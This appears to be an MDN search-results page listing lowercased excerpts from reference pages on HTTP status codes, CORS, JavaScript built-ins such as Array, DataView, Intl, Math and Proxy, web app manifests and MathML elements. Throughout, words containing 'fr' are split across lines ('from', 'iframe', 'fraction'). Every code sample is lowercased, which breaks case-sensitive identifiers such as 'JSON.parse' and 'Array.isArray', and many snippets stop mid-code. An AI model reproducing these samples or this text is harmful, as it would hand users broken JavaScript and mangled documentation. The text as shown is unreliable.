the hypertext transfer protocol (http) 500 internal server error server error response code indicates that the server encountered an unexpected condition that prevented it
from fulfilling the request.
...sometimes, server administrators log error responses like the 500 status code with more details about the request to prevent the error
from happening again in the future.
510 Not Extended - HTTP
the hypertext transfer protocol (http) 510 not extended response status code is sent in the context of the http extension
framework, defined in rfc 2774.
... status 510 not extended specifications specification title rfc 2774, section 7: 510 not extended an http extension
framework ...
HTTP
cross-origin resource sharing (cors) cross-site http requests are http requests for resources
from a different domain than the domain of the resource making the request.
... for instance, an html page
from domain a (http://domaina.example/) makes a request for an image on domain b (http://domainb.foo/image.jpg) via the img element.
JavaScript technologies overview - JavaScript
among the things defined by the dom, we can find: the document structure, a tree model, and the dom event architecture in dom core: node, element, document
fragment, document, domimplementation, event, eventtarget, … a less rigorous definition of the dom event architecture, as well as specific events in dom events.
...
from the ecmascript point of view, objects defined in the dom specification are called "host objects".
Public class fields - JavaScript
they are accessed again
from the class constructor.
...in subclasses, super lets you access the superclass prototype, allowing you to call methods
from the superclass.
static - JavaScript
calling static methods
from another static method in order to call a static method within another static method of the same class, you can use the this keyword.
... class staticmethodcall { static staticmethod() { return 'static method has been called'; } static anotherstaticmethod() { return this.staticmethod() + '
from another static method'; } } staticmethodcall.staticmethod(); // 'static method has been called' staticmethodcall.anotherstaticmethod(); // 'static method has been called
from another static method' calling static methods
from a class constructor and other methods static methods are not directly accessible using the this keyword
from non-static methods.
Warning: Date.prototype.toLocaleFormat is deprecated - JavaScript
%b %y'); console.log(date); // in german locale // "
freitag, 10.
... var today = new date(); var options = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' }; var date = today.tolocaledatestring('de-de', options); console.log(date); // "
freitag, 10.
SyntaxError: JSON.parse: bad parsing - JavaScript
ing literal syntaxerror: json.parse: bad character in string literal syntaxerror: json.parse: bad unicode escape syntaxerror: json.parse: bad escape character syntaxerror: json.parse: unterminated string syntaxerror: json.parse: no number after minus sign syntaxerror: json.parse: unexpected non-digit syntaxerror: json.parse: missing digits after decimal point syntaxerror: json.parse: unterminated
fractional number syntaxerror: json.parse: missing digits after exponent indicator syntaxerror: json.parse: missing digits after exponent sign syntaxerror: json.parse: exponent part is missing a number syntaxerror: json.parse: unexpected end of data syntaxerror: json.parse: unexpected keyword syntaxerror: json.parse: unexpected character syntaxerror: json.parse: end of data while reading object cont...
... json.parse('{"foo": 01}'); // syntaxerror: json.parse: expected ',' or '}' after property value // in object at line 1 column 2 of the json data json.parse('{"foo": 1.}'); // syntaxerror: json.parse: unterminated
fractional number // at line 1 column 2 of the json data instead write just 1 without a zero and use at least one digit after a decimal point: json.parse('{"foo": 1}'); json.parse('{"foo": 1.0}'); ...
SyntaxError: missing name after . operator - JavaScript
for computed property access, you might need to change your property access
from using a dot to using square brackets.
...concatenation if you are coming
from another programming language (like php), it is also easy to mix up the dot operator (.) and the concatenation operator (+).
TypeError: can't delete non-configurable array element - JavaScript
the configurable attribute controls whether the property can be deleted
from the object and whether its attributes (other than writable) can be changed.
... var arr = [1,2,3]; object.seal(arr); // copy the initial array to shorten the copy var copy = array.
from(arr); copy.length = 1; // arr.length == 3 ...
Error: Permission denied to access property "x" - JavaScript
this is likely an <i
frame> element loaded
from a different domain for which you violated the same-origin policy.
... examples no permission to access document <!doctype html> <html> <head> <i
frame id="my
frame" src="http://www1.w3c-test.org/common/blank.html"></i
frame> <script> onload = function() { console.log(
frames[0].document); // error: permission denied to access property "document" } </script> </head> <body></body> </html> ...
SyntaxError: "x" is a reserved identifier - JavaScript
"use strict"; var package = ["potatoes", "rice", "
fries"]; // syntaxerror: package is a reserved identifier you'll need to rename these variables.
... var colorenum = { red: 0, green: 1, blue: 2 }; var list = ["potatoes", "rice", "
fries"]; update older browsers if you are using an older browser that does not yet implement let or class, for example, you should update to a more recent browser version that does support these new language features.
TypeError: invalid arguments - JavaScript
examples no strings in typed arrays typed arrays, for example a uint8array, can't be constructed
from a string.
... var ta = new uint8array("nope"); // typeerror: invalid arguments different ways to create a valid uint8array: //
from a length var uint8 = new uint8array(2); uint8[0] = 42; console.log(uint8[0]); // 42 console.log(uint8.length); // 2 console.log(uint8.bytes_per_element); // 1 //
from an array var arr = new uint8array([21,31]); console.log(arr[1]); // 31 //
from another typedarray var x = new uint8array([21, 31]); var y = new uint8array(x); console.log(y[0]); // 21 //
from an arraybuffer var buffer = new arraybuffer(8); var z = new uint8array(buffer, 1, 4); //
from an iterable var iterable = function*(){ yield* [1,2,3]; }(); var uint8 = new uint8array(iterable); // uint8array[1, 2, 3] ...
The arguments object - JavaScript
note: “array-like” means that arguments has a length property and properties indexed
from zero, but it doesn't have array's built-in methods like foreach() or map().
... however, it can be converted to a real array: var args = array.prototype.slice.call(arguments); // using an array literal is shorter than above but allocates an empty array var args = [].slice.call(arguments); as you can do with any array-like object, you can use es2015's array.
from() method or spread syntax to convert arguments to a real array: let args = array.
from(arguments); // or let args = [...arguments]; the arguments object is useful for functions called with more arguments than they are formally declared to accept.
Array.prototype[@@unscopables] - JavaScript
these properties are excluded
from with statement bindings.
... description the default array properties that are excluded
from with bindings are: copywithin() entries() fill() find() findindex() includes() keys() values() see symbol.unscopables for how to set unscopables for your own objects.
Array.prototype.forEach() - JavaScript
[2, 5, , 9].foreach(logarrayelements) // logs: // a[0] = 2 // a[1] = 5 // a[3] = 9 using thisarg the following (contrived) example updates an object's properties
from each entry in the array: function counter() { this.sum = 0 this.count = 0 } counter.prototype.add = function(array) { array.foreach((entry) => { this.sum += entry ++this.count }, this) // ^---- note } const obj = new counter() obj.add([2, 5, 9]) obj.count // 3 obj.sum // 16 since the thisarg parameter (this) is provided to foreach(), it is passed to callback each time it's...
... let words = ['one', 'two', 'three', 'four'] words.foreach((word) => { console.log(word) if (word === 'two') { words.shift() //'one' will delete
from array } }) // one // two // four console.log(words); //['two', 'three', 'four'] flatten an array the following example is only here for learning purpose.
Array.isArray() - JavaScript
g calls return false array.isarray(); array.isarray({}); array.isarray(null); array.isarray(undefined); array.isarray(17); array.isarray('array'); array.isarray(true); array.isarray(false); array.isarray(new uint8array(32)); array.isarray({ __proto__: array.prototype }); instanceof vs isarray when checking for array instance, array.isarray is preferred over instanceof because it works through i
frames.
... var i
frame = document.createelement('i
frame'); document.body.appendchild(i
frame); xarray = window.
frames[window.
frames.length-1].array; var arr = new xarray(1,2,3); // [1,2,3] // correctly checking for array array.isarray(arr); // true // considered harmful, because doesn't work through i
frames arr instanceof array; // false specifications specification ecmascript (ecma-262)the definition of 'array.isarray' in that specification.
Array.of() - JavaScript
the array.of() method creates a new array instance
from a variable number of arguments, regardless of number or type of the arguments.
... for more information, see: array.of() array.
from() proposal array.of() polyfill polyfill running the following code before any other code will create array.of() if it's not natively available.
Array.prototype.some() - JavaScript
[2, 5, 8, 1, 4].some(x => x > 10); // false [12, 5, 8, 1, 4].some(x => x > 10); // true checking whether a value exists in an array to mimic the function of the includes() method, this custom function returns true if the element exists in the array: const
fruits = ['apple', 'banana', 'mango', 'guava']; function checkavailability(arr, val) { return arr.some(function(arrval) { return val === arrval; }); } checkavailability(
fruits, 'kela'); // false checkavailability(
fruits, 'banana'); // true checking whether a value exists using an arrow function const
fruits = ['apple', 'banana', 'mango', 'guava']; function checkavailability(arr, val) ...
...{ return arr.some(arrval => val === arrval); } checkavailability(
fruits, 'kela'); // false checkavailability(
fruits, 'banana'); // true converting any value to boolean const truthy_values = [true, 'true', 1]; function getboolean(value) { 'use strict'; if (typeof value === 'string') { value = value.tolowercase().trim(); } return truthy_values.some(function(t) { return t === value; }); } getboolean(false); // false getboolean('false'); // false getboolean(1); // true getboolean('true'); // true specifications specification ecmascript (ecma-262)the definition of 'array.prototype.some' in that specification.
Array.prototype.sort() - JavaScript
so, the compare function has the following form: function compare(a, b) { if (a is less than b by some ordering criterion) { return -1; } if (a is greater than b by the ordering criterion) { return 1; } // a must be equal to b return 0; } to compare numbers instead of strings, the compare function can simply subtract b
from a.
...strings with accented characters (e, é, è, a, ä, etc.), strings
from languages other than english, use string.localecompare.
Atomics - JavaScript
atomics.islock
free(size) an optimization primitive that can be used to determine whether to use locks or atomic operations.
... examples using atomics const sab = new sharedarraybuffer(1024); const ta = new uint8array(sab); ta[0] = 5; atomics.add(ta, 0, 12); atomics.load(ta, 0); // 12 atomics.and(ta, 0, 1); atomics.load(ta, 0); // 1 atomics.compareexchange(ta, 0, 5, 12); atomics.load(ta, 0); // 12 atomics.exchange(ta, 0, 12); atomics.load(ta, 0); // 12 atomics.islock
free(1); // true atomics.islock
free(2); // true atomics.islock
free(3); // false atomics.islock
free(4); // true atomics.or(ta, 0, 1); atomics.load(ta, 0); // 5 atomics.store(ta, 0, 12); // 12 atomics.sub(ta, 0, 2); atomics.load(ta, 0); // 3 atomics.xor(ta, 0, 1); atomics.load(ta, 0); // 4 waiting and notifiying given a shared int32array: const sab = new sharedarraybuffer(1024); const int32 =...
DataView.prototype.setBigInt64() - JavaScript
the setbigint64() method stores a signed 64-bit integer (long long) value at the specified byte offset
from the start of the dataview.
... syntax dataview.setbigint64(byteoffset, value [, littleendian]) parameters byteoffset the offset, in bytes,
from the start of the view to store the data
from.
DataView.prototype.setBigUint64() - JavaScript
the setbiguint64() method stores an unsigned 64-bit integer (unsigned long long) value at the specified byte offset
from the start of the dataview.
... syntax dataview.setbiguint64(byteoffset, value [, littleendian]) parameters byteoffset the offset, in bytes,
from the start of the view to store the data
from.
DataView.prototype.setFloat32() - JavaScript
the setfloat32() method stores a signed 32-bit float (float) value at the specified byte offset
from the start of the dataview.
... syntax dataview.setfloat32(byteoffset, value [, littleendian]) parameters byteoffset the offset, in byte,
from the start of the view where to store the data.
DataView.prototype.setFloat64() - JavaScript
the setfloat64() method stores a signed 64-bit float (double) value at the specified byte offset
from the start of the dataview.
... syntax dataview.setfloat64(byteoffset, value [, littleendian]) parameters byteoffset the offset, in byte,
from the start of the view where to store the data.
DataView.prototype.setInt16() - JavaScript
the setint16() method stores a signed 16-bit integer (short) value at the specified byte offset
from the start of the dataview.
... syntax dataview.setint16(byteoffset, value [, littleendian]) parameters byteoffset the offset, in byte,
from the start of the view where to store the data.
DataView.prototype.setInt32() - JavaScript
the setint32() method stores a signed 32-bit integer (long) value at the specified byte offset
from the start of the dataview.
... syntax dataview.setint32(byteoffset, value [, littleendian]) parameters byteoffset the offset, in byte,
from the start of the view where to store the data.
DataView.prototype.setInt8() - JavaScript
the setint8() method stores a signed 8-bit integer (byte) value at the specified byte offset
from the start of the dataview.
... syntax dataview.setint8(byteoffset, value) parameters byteoffset the offset, in byte,
from the start of the view where to store the data.
DataView.prototype.setUint16() - JavaScript
the setuint16() method stores an unsigned 16-bit integer (unsigned short) value at the specified byte offset
from the start of the dataview.
... syntax dataview.setuint16(byteoffset, value [, littleendian]) parameters byteoffset the offset, in byte,
from the start of the view where to store the data.
DataView.prototype.setUint32() - JavaScript
the setuint32() method stores an unsigned 32-bit integer (unsigned long) value at the specified byte offset
from the start of the dataview.
... syntax dataview.setuint32(byteoffset, value [, littleendian]) parameters byteoffset the offset, in byte,
from the start of the view where to store the data.
DataView.prototype.setUint8() - JavaScript
the setuint8() method stores an unsigned 8-bit integer (byte) value at the specified byte offset
from the start of the dataview.
... syntax dataview.setuint8(byteoffset, value) parameters byteoffset the offset, in byte,
from the start of the view where to store the data.
Date() constructor - JavaScript
individual date and time component values given at least a year and month, this form of date() returns a date object whose component values (year, month, day, hour, minute, second, and millisecond) all come
from the following parameters.
... values
from 0 to 99 map to the years 1900 to 1999.
Date.prototype.setUTCMonth() - JavaScript
an integer
from 1 to 31, representing the day of the month.
... description if you do not specify the dayvalue parameter, the value returned
from the getutcdate() method is used.
Function.name - JavaScript
(function() {}).name; // "" (() => {}).name; // "" inferred function names variables and methods can infer the name of an anonymous function
from its syntactic position (new in ecmascript 2015).
...example: let fooinstance = new foo(); console.log(fooinstance.constructor.name); // logs function name() you may also see
from the es5 syntax example that in chrome or firefox our static definition of foo.name becomes writable.
Generator - JavaScript
instead, a generator instance can be returned
from a generator function: function* generator() { yield 1; yield 2; yield 3; } const gen = generator(); // "generator { }" instance methods generator.prototype.next() returns a value yielded by the yield expression.
... generator.prototype.throw() throws an error to a generator (also finishes the generator, unless caught
from within that generator).
Intl.Collator.prototype.compare() - JavaScript
note that the function is bound to the collator
from which it was obtained, so it can be passed directly to array.prototype.sort().
... var a = ['offenbach', 'Österreich', 'odenwald']; var collator = new intl.collator('de-u-co-phonebk'); a.sort(collator.compare); console.log(a.join(', ')); // → "odenwald, Österreich, offenbach" using compare for array search use the compare getter function for finding matching strings in arrays: var a = ['congrès', 'congres', 'assemblée', 'poisson']; var collator = new intl.collator('
fr', { usage: 'search', sensitivity: 'base' }); var s = 'congres'; var matches = a.filter(v => collator.compare(v, s) === 0); console.log(matches.join(', ')); // → "congrès, congres" specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.collator.prototype.compare' in that specification.
Intl.DisplayNames - JavaScript
// get display names of language in english let languagenames = new intl.displaynames(['en'], {type: 'language'}); languagenames.of('
fr'); // "
french" languagenames.of('de'); // "german" languagenames.of('
fr-ca'); // "canadian
french" languagenames.of('zh-hant'); // "traditional chinese" languagenames.of('en-us'); // "american english" languagenames.of('zh-tw'); // "chinese (taiwan)"] // get display names of language in traditional chinese languagenames = new intl.displaynames(['zh-hant'], {type: 'language'}); la...
...nguagenames.of('
fr'); // "法文" languagenames.of('zh'); // "中文" languagenames.of('de'); // "德文" script code display names to create an intl.displaynames for a locale and get the display name for a script code.
Intl.Locale.prototype.calendar - JavaScript
let
frbuddhist = new intl.locale("
fr-
fr-u-ca-buddhist"); console.log(
frbuddhist.calendar); // prints "buddhist" adding a calendar with a configuration object the intl.locale constructor has an optional configuration object argument, which can contain any of several extension types, including calendars.
... let
frbuddhist = new intl.locale("
fr-
fr", {calendar: "buddhist"}); console.log(
frbuddhist.calendar); // prints "buddhist" specifications specification ecmascript internationalization api (ecma-402) ...
Intl.Locale.prototype.region - JavaScript
knowing the locale's region helps javascript programmers make sure that the content
from their sites and applications is correctly displayed when viewed
from different areas of the world.
... let regionobj = new intl.locale("
fr-latn", {region: "
fr"}); console.log(regionobj.region); // prints "
fr" specifications specification ecmascript internationalization api (ecma-402) ...
Intl.NumberFormat.prototype.resolvedOptions() - JavaScript
only one of the following two groups of properties is included: minimumintegerdigits minimum
fractiondigits maximum
fractiondigits the values provided for these properties in the options argument or filled in as defaults.
...e resolvedoptions method var de = new intl.numberformat('de-de'); var usedoptions = de.resolvedoptions(); usedoptions.locale; // "de-de" usedoptions.numberingsystem; // "latn" usedoptions.notation; // "standard" usedoptions.signdisplay; // "auto" usedoption.style; // "decimal" usedoptions.minimumintegerdigits; // 1 usedoptions.minimum
fractiondigits; // 0 usedoptions.maximum
fractiondigits; // 3 usedoptions.usegrouping; // true specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.numberformat.prototype.resolvedoptions' in that specification.
Intl.RelativeTimeFormat.prototype.formatToParts() - JavaScript
description the intl.relativetimeformat.prototype.formattoparts method is a version of the format method which it returns an array of objects which represent "parts" of the object, separating the formatted number into its consituent parts and separating it
from other surrounding text.
...if a "part" came
from numberformat, it will have a unit property which indicates the unit being formatted; literals which are part of the larger
frame will not have this property.
Intl - JavaScript
locales argument the locales argument requests that a particular locale (or a locale
from a list of them) be considered for use in a given operation.
... locale negotiation the list of locales specified by the locales argument, after unicode extensions have been removed
from them, is interpreted as a prioritized request
from the application.
Map.prototype.delete() - JavaScript
the delete() method removes the specified element
from a map object by key.
... syntax mymap.delete(key); parameters key the key of the element to remove
from the map object.
Map.prototype.get() - JavaScript
the get() method returns a specified element
from a map object.
... syntax mymap.get(key) parameters key the key of the element to return
from the map object.
Math.asin() - JavaScript
the math.asin() function returns the arcsine (in radians) of a number, that is ∀x∊[-1;1],math.asin(x)=arcsin(x)= the unique y∊[-π2;π2]such thatsin(y)=x\forall x \in [{-1};1],\;\mathtt{\operatorname{math.asin}(x)} = \arcsin(x) = \text{ the unique } \; y \in \left[-\
frac{\pi}{2}; \
frac{\pi}{2}\right] \, \text{such that} \; \sin(y) = x the source for this interactive example is stored in a github repository.
... description the math.asin() method returns a numeric value between -π2-\
frac{\pi}{2} and π2\
frac{\pi}{2} radians for x between -1 and 1.
Math.atan() - JavaScript
the math.atan() function returns the arctangent (in radians) of a number, that is math.atan(x)=arctan(x)= the unique y∊[-π2;π2]such thattan(y)=x\mathtt{\operatorname{math.atan}(x)} = \arctan(x) = \text{ the unique } \; y \in \left[-\
frac{\pi}{2}; \
frac{\pi}{2}\right] \, \text{such that} \; \tan(y) = x the source for this interactive example is stored in a github repository.
... description the math.atan() method returns a numeric value between -π2-\
frac{\pi}{2} and π2\
frac{\pi}{2} radians.
Math.atan2() - JavaScript
the math.atan2() function returns the angle in the plane (in radians) between the positive x-axis and the ray
from (0,0) to the point (x,y), for math.atan2(y,x).
... x the x coordinate of the point return value the angle in radians (in [-π,π][-\pi, \pi]) between the positive x-axis and the ray
from (0,0) to the point (x,y).
Math.imul() - JavaScript
this is because of the costly conversion
from a floating point to an integer for multiplication, and then converting the multiplied integer back into a floating point.
...we can remove an integer coersion
from the statement above because: // 0x1fffff7fc00001 + 0xffc00000 = 0x1fffffff800001 // 0x1fffffff800001 < number.max_safe_integer /*0x1fffffffffffff*/ if (opa & 0xffc00000 /*!== 0*/) result += (opa & 0xffc00000) * opb |0; return result |0; }; examples using math.imul() math.imul(2, 4); // 8 math.imul(-1, 8); // -8 math.imul(-2, -2); // 4 math.imul(0xffffff...
Math.pow() - JavaScript
examples using math.pow() // simple math.pow(7, 2); // 49 math.pow(7, 3); // 343 math.pow(2, 10); // 1024 //
fractional exponents math.pow(4, 0.5); // 2 (square root of 4) math.pow(8, 1/3); // 2 (cube root of 8) math.pow(2, 0.5); // 1.4142135623730951 (square root of 2) math.pow(2, 1/3); // 1.2599210498948732 (cube root of 2) // signed exponents math.pow(7, -2); // 0.02040816326530612 (1/49) math.pow(8, -1/3); // 0.5 // signed bases math.pow(-7, 2); // 49 (squares are positive) math.pow(-7, 3); /...
.../ -343 (cubes can be negative) math.pow(-7, 0.5); // nan (negative numbers don't have a real square root) // due to "even" and "odd" roots laying close to each other, // and limits in the floating number precision, // negative bases with
fractional exponents always return nan math.pow(-7, 1/3); // nan specifications specification ecmascript (ecma-262)the definition of 'math.pow' in that specification.
Number.parseFloat() - JavaScript
if a number cannot be parsed
from the argument, it returns nan.
... return value a floating point number parsed
from the given string.
Number.prototype.toFixed() - JavaScript
the number is rounded if necessary, and the
fractional part is padded with zeros if necessary so that it has the specified length.
... examples using tofixed let numobj = 12345.6789 numobj.tofixed() // returns '12346': note rounding, no
fractional part numobj.tofixed(1) // returns '12345.7': note rounding numobj.tofixed(6) // returns '12345.678900': note added zeros (1.23e+20).tofixed(2) // returns '123000000000000000000.00' (1.23e-10).tofixed(2) // returns '0.00' 2.34.tofixed(1) // returns '2.3' 2.35.tofixed(1) // returns '2.4'.
Number - JavaScript
this means it can represent
fractional values, but there are some limits to what it can store.
... instance methods number.prototype.toexponential(
fractiondigits) returns a string representing the number in exponential notation.
Object.assign() - JavaScript
the object.assign() method copies all enumerable own properties
from one or more source objects to a target object.
... the object.assign() method only copies enumerable and own properties
from a source object to a target object.
Object.getOwnPropertyDescriptors() - JavaScript
configurable true if and only if the type of this property descriptor may be changed and if the property may be deleted
from the corresponding object.
... examples creating a shallow clone whereas the object.assign() method will only copy enumerable and own properties
from a source object to a target object, you are able to use this method and object.create() for a shallow copy between two unknown objects: object.create( object.getprototypeof(obj), object.getownpropertydescriptors(obj) ); creating a subclass a typical way of creating a subclass is to define the subclass, set its prototype to an instance of the superclass, and then define properties on that instance.
Object.isSealed() - JavaScript
object.isextensible(sealed); // === false // a sealed object might be
frozen, // but it doesn't have to be.
... object.is
frozen(sealed); // === true // (all properties also non-writable) var s2 = object.seal({ p: 3 }); object.is
frozen(s2); // === false // ('p' is still writable) var s3 = object.seal({ get p() { return 0; } }); object.is
frozen(s3); // === true // (only configurability matters for accessor properties) non-object coercion in es5, if the argument to this method is not an object (a primitive), then it will cause a typeerror.
Object.prototype.toString() - JavaScript
by default, the tostring() method is inherited by every object descended
from object.
... the following code defines the dog object type and creates thedog, an object of type dog: function dog(name, breed, color, sex) { this.name = name; this.breed = breed; this.color = color; this.sex = sex; } thedog = new dog('gabby', 'lab', 'chocolate', 'female'); if you call the tostring() method on this custom object, it returns the default value inherited
from object: thedog.tostring(); // returns [object object] the following code creates and assigns dogtostring() to override the default tostring() method.
Object.prototype.valueOf() - JavaScript
by default, the valueof method is inherited by every object descended
from object.
... an object's valueof method is usually invoked by javascript, but you can invoke it yourself as follows: mynumbertype.valueof() note: objects in string contexts convert via the tostring() method, which is different
from string objects converting to string primitives using valueof.
Promise.all() - JavaScript
consequently, it will always return the final result of every promise and function
from the input iterable.
...omise((resolve, reject) => { settimeout(() => resolve('three'), 3000); }); var p4 = new promise((resolve, reject) => { settimeout(() => resolve('four'), 4000); }); var p5 = new promise((resolve, reject) => { reject(new error('reject')); }); // using .catch: promise.all([p1, p2, p3, p4, p5]) .then(values => { console.log(values); }) .catch(error => { console.error(error.message) }); //
from console: //"reject" it is possible to change this behaviour by handling possible rejections: var p1 = new promise((resolve, reject) => { settimeout(() => resolve('p1_delayed_resolution'), 1000); }); var p2 = new promise((resolve, reject) => { reject(new error('p2_immediate_rejection')); }); promise.all([ p1.catch(error => { return error }), p2.catch(error => { return error }), ]).
handler.set() - JavaScript
interceptions this trap can intercept these operations: property assignment: proxy[foo] = bar and proxy.foo = bar inherited property assignment: object.create(proxy)[foo] = bar reflect.set() invariants if the following invariants are violated, the proxy will throw a typeerror: cannot change the value of a property to be different
from the value of the corresponding target object property if the corresponding target object property is a non-writable, non-configurable data property.
... in strict mode, a false return value
from the set() handler will throw a typeerror exception.
Proxy - JavaScript
{ name: 'seamonkey', type: 'browser' }] console.log(products.types); // ['browser', 'mailer'] console.log(products.number); // 3 a complete traps list example now in order to create a complete sample traps list, for didactic purposes, we will try to proxify a non-native object that is particularly suited to this type of operation: the doccookies global object created by the "little
framework" published on the document.cookie page.
...get the "doccookies" object here: https://developer.mozilla.org/docs/dom/document.cookie#a_little_
framework.3a_a_complete_cookies_reader.2fwriter_with_full_unicode_support */ var doccookies = new proxy(doccookies, { get: function (otarget, skey) { return otarget[skey] || otarget.getitem(skey) || undefined; }, set: function (otarget, skey, vvalue) { if (skey in otarget) { return false; } return otarget.setitem(skey, vvalue); }, deleteproperty: function (otarget, skey) { if (skey in otarget) { return false; } return otarget.removeitem(skey); }, enumerate: function (otarget, skey) { return otarget.keys(); }, ownkeys: function (otarget, skey) { return otarget.keys(); }, has: function (otarget, skey) { return ske...
Reflect.get() - JavaScript
the static reflect.get() method works like getting a property
from an object (target[propertykey]) as a function.
...when used with proxy, it can be an object that inherits
from target.
Reflect.isExtensible() - JavaScript
let sealed = object.seal({}) reflect.isextensible(sealed) // === false //
frozen objects are also by definition non-extensible.
... let
frozen = object.
freeze({}) reflect.isextensible(
frozen) // === false difference to object.isextensible() if the target argument to this method is not an object (a primitive), then it will cause a typeerror.
RegExp.prototype[@@matchAll]() - JavaScript
let re = /[0-9]+/g; let str = '2016-01-02'; let result = re[symbol.matchall](str); console.log(array.
from(result, x => x[0])); // ["2016", "01", "02"] using @@matchall in subclasses subclasses of regexp can override the [@@matchall]() method to modify the default behavior.
... for example, to return an array instead of an iterator: class myregexp extends regexp { [symbol.matchall](str) { const result = regexp.prototype[symbol.matchall].call(this, str); if (!result) { return null; } else { return array.
from(result); } } } const re = new myregexp('([0-9]+)-([0-9]+)-([0-9]+)', 'g'); const str = '2016-01-02|2019-03-07'; const result = str.matchall(re); console.log(result[0]); // [ "2016-01-02", "2016", "01", "02" ] console.log(result[1]); // [ "2019-03-07", "2019", "03", "07" ] specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype[@@matchall]' in that specification.
RegExp.prototype.sticky - JavaScript
the sticky property reflects whether or not the search is sticky (searches in strings only
from the index indicated by the lastindex property of this regular expression).
...the "y" flag indicates that it matches only
from the index indicated by the lastindex property of this regular expression in the target string (and does not attempt to match
from any later indexes).
Symbol.unscopables - JavaScript
the symbol.unscopables well-known symbol is used to specify an object value of whose own and inherited property names are excluded
from the with environment bindings of the associated object.
... description the @@unscopables symbol (symbol.unscopables) can be defined on any object to exclude property names
from being exposed as lexical variables in with with environment bindings.
TypedArray.prototype.subarray() - JavaScript
if not specified, all elements
from the one specified by begin to the end of the array are included in the new view.
...if either begin or end is negative, it refers to an index
from the end of the array instead of
from the beginning.
WeakMap.prototype.delete() - JavaScript
the delete() method removes the specified element
from a weakmap object.
... syntax wm.delete(key); parameters key the key of the element to remove
from the weakmap object.
WeakSet - JavaScript
weakset.prototype.delete(value) removes value
from the weakset.
... examples using the weakset object const ws = new weakset(); const foo = {}; const bar = {}; ws.add(foo); ws.add(bar); ws.has(foo); // true ws.has(bar); // true ws.delete(foo); // removes foo
from the set ws.has(foo); // false, foo has been removed ws.has(bar); // true, bar is retained note that foo !== bar.
WebAssembly.Instance.prototype.exports - JavaScript
the exports readonly property of the webassembly.instance object prototype returns an object containing as its members all the functions exported
from the webassembly module instance, to allow them to be accessed and used by javascript.
... browser compatibility the compatibility table on this page is generated
from structured data.
WebAssembly.LinkError() constructor - JavaScript
the webassembly.linkerror() constructor creates a new webassembly linkerror object, which indicates an error during module instantiation (besides traps
from the start function).
... browser compatibility the compatibility table on this page is generated
from structured data.
WebAssembly.Module.customSections() - JavaScript
note that the webassembly text format currently doesn't have a syntax specified for adding new custom sections; you can however add a name section to your wasm during conversion
from text format over to .wasm.
... browser compatibility the compatibility table on this page is generated
from structured data.
WebAssembly.Table.prototype.set() - JavaScript
this example shows that we're creating and accessing the table
from javascript, but the same table is visible and callable inside the wasm instance too.
... browser compatibility the compatibility table on this page is generated
from structured data.
isNaN() - JavaScript
a nan also results
from attempted coercion to numeric values of non-numeric values for which no primitive numeric value is available.
...thus for non-numbers that when coerced to numeric type result in a valid non-nan numeric value (notably the empty string and boolean primitives, which when coerced give numeric values zero or one), the "false" returned value may be unexpected; the empty string, for example, is surely "not a number." the confusion stems
from the fact that the term, "not a number", has a specific meaning for numbers represented as ieee-754 floating-point values.
Comma operator (,) - JavaScript
the comma operator (,) evaluates each of its operands (
from left to right) and returns the value of the last operand.
... the comma operator is fully different
from the comma within arrays, objects, and function arguments and parameters.
Right shift (>>) - JavaScript
copies of the leftmost bit are shifted in
from the left.
...copies of the leftmost bit are shifted in
from the left.
new operator - JavaScript
description the new keyword does the following things: creates a blank, plain javascript object; links (sets the constructor of) this object to another object; passes the newly created object
from step 1 as the this context; returns this if the function doesn't return an object.
... when the code new foo(...) is executed, the following things happen: a new object is created, inheriting
from foo.prototype.
yield* - JavaScript
examples delegating to another generator in following code, values yielded by g1() are returned
from next() calls just like those which are yielded by g2().
... function* g3() { yield* [1, 2]; yield* '34'; yield* array.
from(arguments); } const iterator = g3(5, 6); console.log(iterator.next()); // {value: 1, done: false} console.log(iterator.next()); // {value: 2, done: false} console.log(iterator.next()); // {value: "3", done: false} console.log(iterator.next()); // {value: "4", done: false} console.log(iterator.next()); // {value: 5, done: false} console.log(iterator.next()); // {value: 6, done: false} console.
switch - JavaScript
if you forget a break then the script will run
from the case where the criterion is met and will run the cases after that regardless if a criterion was met.
... var foo = 1; var output = 'output: '; switch (foo) { case 0: output += 'so '; case 1: output += 'what '; output += 'is '; case 2: output += 'your '; case 3: output += 'name'; case 4: output += '?'; console.log(output); break; case 5: output += '!'; console.log(output); break; default: console.log('please pick a number
from 0 to 5!'); } the output
from this example: value log text foo is nan or not 1, 2, 3, 4, 5, or 0 please pick a number
from 0 to 5!
Strict mode - JavaScript
strict mode isn't just a subset: it intentionally has different semantics
from normal code.
... browsers not supporting strict mode will run strict mode code with different behavior
from browsers that do, so don't rely on strict mode without feature-testing for support for the relevant aspects of strict mode.
JavaScript shells - JavaScript
can use perl modules directly
from javascript: dbi for database integration, gtk2 for gui apps, posix for system programming, etc.
... mozrepl - connect to firefox and other mozilla apps, explore and modify them
from the inside, while they're running.
display - Web app manifests
the display mode changes how much of browser ui is shown to the user and can range
from browser (when the full browser window is shown) to fullscreen (when the app is full-screened).
...this can be used to provide a consistent user experience between launching a site
from an url and launching it
from a desktop icon.
Web app manifests
splash screens in chrome 47 and later, a splash screen is displayed for sites launched
from a homescreen.
... this splashscreen is auto-generated
from properties in the web app manifest, specifically: name background_color the icon in the icons array that is closest to 128dpi for the device.
<maction> - MathML
mathcolor the text color and also the
fraction line color.
... examples the following example uses the "toggle" actiontype: <math> <maction actiontype="toggle"> <m
frac> <mn>6</mn> <mn>8</mn> </m
frac> <m
frac> <mrow> <mn>3</mn> <mo>⋅</mo> <mn>2</mn> </mrow> <mrow> <mn>4</mn> <mo>⋅</mo> <mn>2</mn> </mrow> </m
frac> <m
frac> <mn>3</mn> <mn>4</mn> </m
frac> </maction> </math> specifications specification status comment mathml 3.0the definition of 'maction' in that specification.
<merror> - MathML
mathcolor the text color and also the
fraction line color.
... examples <math> <merror> <mrow> <mtext> division by zero: </mtext> <m
frac> <mn> 1 </mn> <mn> 0 </mn> </m
frac> </mrow> </merror> </math> specifications specification status comment mathml 3.0the definition of 'merror' in that specification.
<mfenced> - MathML
it has been removed
from the latest mathml standard and modern browsers no longer support it.
... mathcolor the text color and also the
fraction line color.
<mo> - MathML
the following values are allowed: normal (default value) ; example bold ; example italic ; example bold-italic ; example double-struck ; example bold-
fraktur ; example script ; example bold-script ; example
